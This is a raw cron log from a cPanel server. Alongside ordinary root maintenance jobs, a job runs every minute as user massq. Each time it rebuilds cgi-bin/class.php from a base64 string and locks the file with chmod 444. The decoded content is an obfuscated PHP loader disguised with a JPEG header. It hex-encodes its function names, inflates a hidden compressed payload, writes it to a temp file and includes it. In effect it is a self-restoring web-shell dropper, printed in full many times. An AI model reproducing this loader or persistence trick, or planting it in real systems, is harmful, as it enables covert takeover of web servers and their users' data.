Nov 10 17:37:01 server CROND[6635]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:38:01 server CROND[7539]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:39:01 server CROND[8414]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 17:39:01 server CROND[8415]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:40:01 server CROND[9331]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 17:40:01 server CROND[9332]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 17:40:01 server CROND[9334]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 17:40:01 server CROND[9333]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:41:01 server CROND[10212]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:42:01 server CROND[11056]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:42:01 server CROND[11057]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 17:43:01 server CROND[11889]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:44:01 server CROND[12795]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:45:01 server CROND[13599]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:45:01 server CROND[13600]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 17:45:01 server CROND[13601]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 17:46:01 server CROND[13940]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:47:01 server CROND[14792]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:48:01 server CROND[15600]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:49:01 server CROND[16511]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 17:50:01 server CROND[17336]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 17:50:01 server CROND[17337]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
